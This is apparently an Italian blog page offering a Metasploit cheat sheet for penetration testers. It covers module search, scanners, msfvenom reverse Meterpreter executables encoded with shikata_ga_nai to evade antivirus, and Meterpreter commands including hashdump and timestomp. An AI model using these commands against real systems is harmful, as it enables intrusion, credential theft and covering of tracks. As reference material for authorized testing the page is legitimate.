Mostra tutti

Come usare Metasploit Cheat Sheet

Come usare Metasploit Cheat Sheet

Il Metasploit Project è un progetto di sicurezza informatica che fornisce informazioni sulle vulnerabilità, semplifica le operazioni di penetration testing e aiuta nello sviluppo di sistemi di rilevamento di intrusioni. Il sottoprogetto più conosciuto è Metasploit Framework, uno strumento open source per lo sviluppo e l’esecuzione di exploits ai danni di una macchina remota. Altri sottoprogetti importanti comprendono l’Opcode Database, l’archivio di shellcode e la relativa ricerca.

Il Metasploit Project è conosciuto per lo sviluppo di strumenti di elusione e anti-rilevamento, alcuni dei quali sono inclusi in Metasploit Framework. È noto anche per aver pubblicato alcuni degli exploits più sofisticati, inoltre è uno strumento potente in quanto permette ai ricercatori di investigare su alcune potenziali nuove vulnerabilità

Metasploit è uno strumento popolare usato dagli esperti di pentest.
Ricerca per modulo:

msf > search [regex]

Specificare exploit da usare:

msf > use exploit/[ExploitPath]

Specificare Payload da usare:

msf > set PAYLOAD [PayloadPath]

Mostra le opzioni per i moduli correnti:

msf > show options

Set options:

msf > set [Option] [Value]

Start exploit:

msf > exploit 

Moduli ausiliari utili

Port Scanner:

msf > use auxiliary/scanner/portscan/tcp
msf > set RHOSTS 10.10.10.0/24
msf > run

DNS Enumeration:

msf > use auxiliary/gather/dns_enum
msf > set DOMAIN target.tgt
msf > run

FTP Server:

msf > use auxiliary/server/ftp
msf > set FTPROOT /tmp/ftproot
msf > run

Proxy Server:

msf > use auxiliary/server/socks4
msf > run 

msfvenom :
Lo strumento msfvenom può essere utilizzato per generare i payload di Metasploit. (come Meterpreter) come file standalone e, facoltativamente, codificarli. Questo strumento sostituisce i precedenti strumenti msfpayload e msfencode

Run with “-l payloads”per avere una lista di payloads.

$ msfvenom –p [PayloadPath]
–f [FormatType]
LHOST=[LocalHost (if reverse conn.)]
LPORT=[LocalPort]

Esempio:
Reverse Meterpreter payload come eseguibile e reindirizzato in un file:

$ msfvenom -p windows/meterpreter/
reverse_tcp -f exe LHOST=10.1.1.1
LPORT=4444 > met.exe

Format Options (specified with –f) –help-formats – List available output formats
exe – Executable pl – Perl rb – Ruby raw – Raw shellcode c – C code
Encoding Payloads with msfvenom

Lo strumento msfvenom può essere utilizzato per applicare un livello di codifica per il bypass antivirus. Eseguire con “-l encoders” per ottenere una lista di encoder.

$ msfvenom -p [Payload] -e [Encoder] -f
[FormatType] -i [EncodeInterations]
LHOST=[LocalHost (if reverse conn.)]
LPORT=[LocalPort]

Esempio:
Codificare un payload da msfpayload 5 volte utilizzando shikata-ga-nai encoder in uscita come eseguibile:

$ msfvenom -p windows/meterpreter/
reverse_tcp -i 5 -e x86/shikata_ga_nai -f
exe LHOST=10.1.1.1 LPORT=4444 > mal.exe

Metasploit Meterpreter

Base Commands:
? / help: Display a summary of commands exit / quit: Exit the Meterpreter session
sysinfo: Show the system name and OS type
shutdown / reboot: Self-explanatory
File System Commands:
cd: Change directory
lcd: Change directory on local (attacker’s) machine
pwd / getwd: Display current working directory
ls: Show the contents of the directory
cat: Display the contents of a file on screen
download / upload: Move files to/from the target machine
mkdir / rmdir: Make / remove directory
edit: Open a file in the default editor (typically vi)
Process Commands:
getpid: Display the process ID that Meterpreter is running inside.
getuid: Display the user ID that Meterpreter is running with.
ps: Display process list.
kill: Terminate a process given its process ID.
execute: Run a given program with the privileges of the process the Meterpreter is loaded in.
migrate: Jump to a given destination process ID

  • Target process must have same or lesser privileges
  • Target process may be a more stable process
  • When inside a process, can access any files that process has a lock on.

Network Commands:
ipconfig: Show network interface information
portfwd: Forward packets through TCP session
route: Manage/view the system’s routing table

Misc Commands:
idletime: Display the duration that the GUI of thetarget machine has been idle.
uictl [enable/disable] [keyboard/mouse]: Enable/disable either the mouse or keyboard of the target machine.
screenshot: Save as an image a screenshot of the target machine.

Additional Modules:
use [module]: Load the specified module
Example:
use priv: Load the priv module
hashdump: Dump the hashes from the box
timestomp:Alter NTFS file timestamps

Metasploit Cheat Sheet

libro vita da hacker